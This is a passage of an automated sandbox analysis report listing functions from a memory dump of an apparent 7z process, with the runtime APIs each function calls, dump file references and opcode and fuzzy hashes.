                                                                                                                                                                                                                                                                                    Function 00CC0994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: fputcfputsfree
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2822829076-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
                                                                                                                                                                                                                                                                                    • Instruction ID: f0f53b67eeaa2d48925586d35749ac909c65f6ad70cfe394e5a58049ed53924b
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 54155317de61db0833888d5a21ec2303f9cbf572859454e8d3a2ab1476f005a9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FCF0126320094481DA20EB25E95975D9320E789BF8F589321EE6D477F9DE38C986C704
                                                                                                                                                                                                                                                                                    Function 00CB4035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT ref: 00CB404D
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT ref: 00CB4087
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: free.MSVCRT ref: 00C83431
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: memmove.MSVCRT ref: 00C8344C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: malloc.MSVCRT ref: 00C82134
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: _CxxThrowException.MSVCRT ref: 00C8214F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: memmove$ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1415420288-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
                                                                                                                                                                                                                                                                                    • Instruction ID: b9c74b969e8ac80d1ccec9697603e76dd58d6cc1c16b08c279c9e16c0c891878
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9F31A0773096C1A6CA75EF19E1942EEBB20F391744F405022C79D43B6AEF38D659DB00
                                                                                                                                                                                                                                                                                    Function 00CB4054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT ref: 00CB4065
                                                                                                                                                                                                                                                                                    • memmove.MSVCRT ref: 00CB4087
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: free.MSVCRT ref: 00C83431
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C83404: memmove.MSVCRT ref: 00C8344C
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: malloc.MSVCRT ref: 00C82134
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C82130: _CxxThrowException.MSVCRT ref: 00C8214F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: memmove$ExceptionThrowfreemalloc
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1415420288-0
                                                                                                                                                                                                                                                                                    • Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
                                                                                                                                                                                                                                                                                    • Instruction ID: b1fd974add904bf0dc9992b3831ed28f7693520145fd85831472bec7e4c1e77c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E011D2623096C592CA35FB55F0952EEA310E791794F804426CB9E47A66DF3CCA89DB00
                                                                                                                                                                                                                                                                                    Function 00CA9A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1294909896-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
                                                                                                                                                                                                                                                                                    • Instruction ID: 94cf57a10a3051bf61aa2885ed6f7d731665e821c1d039cee737c889308fe9ad
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 19F08C23302A9186DA20AA26E94526D6720EB86FB9F188321EF7917B91CF34CD47C304
                                                                                                                                                                                                                                                                                    Function 00CC0A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • EnterCriticalSection.KERNEL32 ref: 00CC0A42
                                                                                                                                                                                                                                                                                    • LeaveCriticalSection.KERNEL32 ref: 00CC0A73
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB480: GetTickCount.KERNEL32 ref: 00CCB49E
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB480: strcmp.MSVCRT ref: 00CCB4E3
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB480: wcscmp.MSVCRT ref: 00CCB502
                                                                                                                                                                                                                                                                                      • Part of subcall function 00CCB480: strcmp.MSVCRT ref: 00CCB568
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3267814326-0
                                                                                                                                                                                                                                                                                    • Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
                                                                                                                                                                                                                                                                                    • Instruction ID: ec71b435e98727b259a1d2d6393b0f3e6cfae4e8a94538d9194f8d92a9e1d39c
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 12F058A2214A9082F7209B25E885B996370E748FB5F244338EE7D476E4CF38898BC314
                                                                                                                                                                                                                                                                                    Function 00C82568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: free$memmove
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1534225298-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
                                                                                                                                                                                                                                                                                    • Instruction ID: c87234afa14032c56243ec3c3b4e697b222eefe29789bb7f98bea4f483e59fc9
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A9E0307225964491CA20FB20E45905EA720EBC67F8B443311BABF576F9DE28C686DB18
                                                                                                                                                                                                                                                                                    Function 00C82130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ExceptionThrowmalloc
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2436765578-0
                                                                                                                                                                                                                                                                                    • Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
                                                                                                                                                                                                                                                                                    • Instruction ID: b121ad640c58f682241d92a9c07a04930824fd93595d844093147a85ebcf7222
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 81D01250B176C4E1EE08A754D885B185720A799744F946159E25E01735DA5CC18F8701
                                                                                                                                                                                                                                                                                    Function 00C9251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
                                                                                                                                                                                                                                                                                    • Instruction ID: 5186670a416ff44ad871ccefd83e64fd35a19f77570b0ff5e3f776bc83e9a443
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 99515872244AC0A6CB22CF35D4486ED3B61F389F88F694136DEEA0AB19DF34C981D710
                                                                                                                                                                                                                                                                                    Function 00CA86E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ByteString
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 4236320881-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
                                                                                                                                                                                                                                                                                    • Instruction ID: ae52dd16187d1d27ce5603dee87df5d93702dffd146de72a7675a4397e4204c6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6011862661878282E7608B15E4407696260F7857A8F544321FFEA977E4EF3CCD89C705
                                                                                                                                                                                                                                                                                    Function 00C88C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C88A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00C88E1D), ref: 00C88A99
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C88A60: GetLastError.KERNEL32(?,?,00000003,?,00C88E1D), ref: 00C88AA6
                                                                                                                                                                                                                                                                                    • SetEndOfFile.KERNELBASE ref: 00C88CC7
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: File$ErrorLastPointer
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 841452515-0
                                                                                                                                                                                                                                                                                    • Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
                                                                                                                                                                                                                                                                                    • Instruction ID: e94e8a1f7fd1e982746906c4c276830512e9f992dd4a95ecdc894399eecc9c58
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F4E02612301494C6E720ABA5A481AAE8311AB447E8FC88031AA4943F8C8E69CDDE9714
                                                                                                                                                                                                                                                                                    Function 00C864D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                      • Part of subcall function 00C86464: FreeLibrary.KERNELBASE(?,?,?,00C864E7), ref: 00C86475
                                                                                                                                                                                                                                                                                    • LoadLibraryExW.KERNELBASE ref: 00C864F4
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Library$FreeLoad
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 534179979-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
                                                                                                                                                                                                                                                                                    • Instruction ID: 47734565c05963cd1d41984f7273280f57a5e35dfcde19dfc393ca4d14a2ac1f
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2AD02E11B0062086FE107BA6A841A6C03012F45BE4E88C030DE4E03300DE280CEBA308
                                                                                                                                                                                                                                                                                    Function 00C88BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileWrite
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3934441357-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
                                                                                                                                                                                                                                                                                    • Instruction ID: 3ff9a594e8e37c1bca3654b7eef8a9d8012dfd005a782dbd5c093085ae0f0a4d
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E4E04676224680CBE740CF60E400B4AB3A0F388B24F040214DE8E83B54CBBCC155CF40
                                                                                                                                                                                                                                                                                    Function 00C86464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • FreeLibrary.KERNELBASE(?,?,?,00C864E7), ref: 00C86475
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FreeLibrary
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 3664257935-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
                                                                                                                                                                                                                                                                                    • Instruction ID: a73facdc4132d8b2cbfefd2b6a44bcb51d0570da282d68ab7b401e67766124a8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BED012A2702504C5FF159FA2E854B3D23546B98F48F5C5014CE294A340EB2989968764
                                                                                                                                                                                                                                                                                    Function 00C88AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2485589456.0000000000C81000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00C80000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485560532.0000000000C80000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485638769.0000000000CCF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485673901.0000000000CEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2485704858.0000000000CEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c80000_7z.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: FileRead
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 2738559852-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
